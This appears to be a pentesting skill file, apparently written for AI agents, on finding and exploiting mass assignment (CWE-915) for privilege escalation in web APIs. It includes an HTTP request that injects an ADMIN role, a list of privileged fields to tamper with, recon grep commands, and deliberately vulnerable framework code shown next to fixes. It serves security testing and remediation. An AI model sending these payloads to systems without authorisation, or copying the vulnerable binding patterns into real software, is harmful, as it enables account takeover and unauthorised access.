Hacktricks-skills mass-assignment-cwe-915
How to find and exploit mass assignment vulnerabilities (CWE-915) for privilege escalation. Use this skill whenever you need to test APIs for insecure object binding, when analyzing self-service endpoints like /api/users/{id} or /profile, when you see JSON responses echoing server-managed fields like roles, isAdmin, status, or permissions, or when you want to enumerate bindable schema from client bundles. Make sure to use this skill for any API security testing involving user profile updates, order modifications, or any PUT/PATCH endpoints that accept JSON bodies.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/mass-assignment-cwe-915/SKILL.MDMass Assignment (CWE-915) Testing
Mass assignment (insecure object binding) occurs when an API binds user-supplied JSON directly to server-side models without field allow-listing. This enables privilege escalation by setting fields like
roles, isAdmin, status, or ownership attributes.
Quick Start
- Find candidate endpoints - Look for self-service update routes
- Enumerate schema - Send safe update, observe response structure
- Test exploitation - Add privileged fields to request body
- Verify access - Re-authenticate and check for elevated privileges
1. Finding Mass Assignment Candidates
Target Endpoints
Focus on self-service update endpoints:
PUT/PATCH /api/users/{id}
,PATCH /mePUT /profilePUT /api/orders/{id}POST /api/settings- Any endpoint that updates user-owned resources
Heuristics That Indicate Vulnerability
- Response echoes server-managed fields (
,roles
,status
,isAdmin
) even when not sentpermissions - Client bundles contain role names/IDs or privileged attribute names
- Backend accepts unknown fields without rejection
- Framework uses automatic binding (Rails, Laravel, Django ORM, Spring/Jackson, Express/Mongoose)
Schema Enumeration
Send a normal update with only safe fields to reveal the full schema:
PUT /api/users/12934 HTTP/1.1 Host: target.example Content-Type: application/json { "id": 12934, "email": "user@example.com", "firstName": "Sam", "lastName": "Curry" }
Analyze the response - Look for fields you didn't send:
{ "id": 12934, "email": "user@example.com", "firstName": "Sam", "lastName": "Curry", "roles": null, // ← Server-managed field "status": "ACTIVATED", // ← Server-managed field "filters": [] }
2. Exploitation - Role Escalation
Once you identify bindable privileged fields, include them in your update request:
PUT /api/users/12934 HTTP/1.1 Host: target.example Content-Type: application/json { "id": 12934, "email": "user@example.com", "firstName": "Sam", "lastName": "Curry", "roles": [ { "id": 1, "description": "ADMIN role", "name": "ADMIN" } ] }
If successful:
- Response persists the role change
- Re-authenticate or refresh tokens to realize new privileges
- Check for new UI elements, admin endpoints, or elevated permissions
Common Privileged Fields to Test
roles, role, role_id, roleIds isAdmin, is_admin, admin, admin_flag status, account_status, user_status permissions, permission_ids, feature_flags owner_id, team_id, organization_id verified, is_verified, email_verified balance, credit, points, currency
3. Client Bundle Recon
Extract role names, IDs, and schema hints from JavaScript bundles:
# Basic role enumeration strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u # Find role constants and dropdowns grep -oE '"(role|admin|permission|status)[^"]*"' app.*.js | sort -u # Look for numeric role IDs grep -oE 'role.*[0-9]+' app.*.js | head -20 # Find DTO/model shapes grep -oE 'role.*:.*\{[^}]+\}' app.*.js | head -10
What to look for:
- Role name constants (ADMIN, STAFF, MODERATOR)
- Dropdown option lists with role values
- Validation schemas showing expected field names
- API client code showing request/response shapes
4. Framework-Specific Patterns
Node.js (Express + Mongoose)
Vulnerable:
app.put('/api/users/:id', async (req, res) => { const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true }); res.json(user); });
Test: Send
roles or isAdmin in body - if persisted, vulnerable.
Fix: Use allow-list extraction:
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body); const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
Ruby on Rails
Vulnerable:
def update @user.update(params[:user]) # roles/is_admin can be set by client end
Test: Include
role or is_admin in params - if persisted, vulnerable.
Fix: Strong parameters:
def user_params params.require(:user).permit(:first_name, :last_name, :nick_name) end
Laravel (Eloquent)
Vulnerable:
protected $guarded = []; // Everything mass-assignable
Test: Send any field in JSON body - if persisted, vulnerable.
Fix: Explicit fillable:
protected $fillable = ['first_name', 'last_name', 'nick_name'];
Spring Boot (Jackson)
Vulnerable:
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Test: Send
roles or admin fields - if persisted, vulnerable.
Fix: Use DTO with only allowed fields:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
5. Testing Workflow
Step-by-Step Process
- Identify endpoints - Find all PUT/PATCH routes that update user resources
- Baseline request - Send update with only safe fields, capture full response
- Schema analysis - Note all server-managed fields in response
- Payload crafting - Build test payloads with each privileged field
- Exploitation attempt - Send crafted payloads, check if changes persist
- Verification - Re-authenticate, check for elevated access
- Documentation - Record vulnerable endpoints and payloads
Quick Test Script
Use the
scripts/find-mass-assignment-fields.sh script to extract potential target fields from client bundles:
./scripts/find-mass-assignment-fields.sh <bundle-file.js>
6. Reporting
When documenting mass assignment vulnerabilities:
- Endpoint - Full URL and HTTP method
- Vulnerable fields - List of fields that can be modified
- Impact - What privileges can be escalated (e.g., user → admin)
- Proof of concept - Request/response showing exploitation
- Remediation - Framework-specific fix recommendations